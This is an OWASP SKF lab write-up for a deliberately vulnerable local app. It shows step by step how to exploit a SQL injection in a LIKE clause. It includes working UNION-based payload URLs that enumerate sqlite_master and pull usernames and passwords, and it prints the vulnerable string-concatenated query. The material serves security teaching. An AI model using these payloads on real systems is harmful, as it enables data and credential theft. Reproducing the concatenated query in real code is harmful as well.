KBID 156 - SQLI (Like)

Running the app

$ sudo docker pull blabla1337/owasp-skf-lab:sqli-like
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:sqli-like

Now that the app is running let's go hacking!

Running the app Python3

First, make sure python3 and pip are installed on your host machine. After installation, we go to the folder of the lab we want to practise "i.e /skf-labs/XSS/, /skf-labs/jwt-secret/ " and run the following commands:

$ pip3 install -r requirements.txt
$ python3 <labname>

Now that the app is running let's go hacking!

Docker image and write-up thanks to Contrahack.io !

Reconnaissance

Step1

The first step is to identify parameters which could be potentially used in an SQL query to communicate with the underlying database. In this example we find that the "/home" method grabs data by page name and displays the content.

http://localhost:5000/home/Admin

Step2

Now let's see if we can create an error by injecting a single quote

http://localhost:5000/home/Admin'

By doing so the SQL query syntax is now faulty. This is due to the fact that the user supplied input is being directly concatenated into the SQL query.

db.execute("SELECT UserName, email FROM users WHERE UserName LIKE '%"+username+"%' ORDER BY UserId")

Step3

Now we need to inject characters to make the SQL query syntactically correct.

http://localhost:5000/home/Admin%'--

After that we inject a logical operator which is true (and 1=1). This should result in the application run as intended without errors.

http://127.0.0.1:5000/home/Admin%' AND 1=1--

Exploitation

Now that we know that the application is vulnerable for SQL injections we are going to use this vulnerability to read sensitive information from the database. This process could be automated with tools such as SQLMAP. However, for this example let's try to exploit the SQL injection manually.

Step1

The UNION operator is used in SQL injections to join a query, purposely forged to the original query. This allows to obtain the values of columns of other tables. First we need to determine the number of columns used by the original query. We can do this by trial and error.

http://localhost:5000/home/Admin%' union select 1--

This query results in an error, this is due to the fact that the original query started with 2 columns namely * UserName * email

http://localhost:5000/home/Admin%' union select 1,2--

Notice how "UserName" and "email" became placeholders for data we want to retrieve from the database

Step 2

Now that we determined the number of columns we need to take, the next step is querying system tables to check which tables are stored in the Database. From the error message in the first picture, we can determine a SQLite DB is being used. As the application didn't return an error, our guess is correct.

http://localhost:5000/home/Admin%' union select 1,2 from sqlite_master--

Step 3

Now we need to discover the table and columns name of the table we want to extract. As the application only displays the first result, we need to play with SQL Limit.

http://localhost:5000/home/Admin%' union select tbl_name,sql from sqlite_master limit 1,1--

Step 4

Now we have all the information required to extract data from users table. Play with SQL Limit to get credentials from more users.

http://localhost:5000/home/Admin%' union select UserName,Password from users limit 0,1--

Additional sources

Please refer to the OWASP testing guide for a full complete description about SQL injection with all the edge cases over different platforms!

https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)

SQLite Reference

https://www.techonthenet.com/sqlite/sys_tables/index.php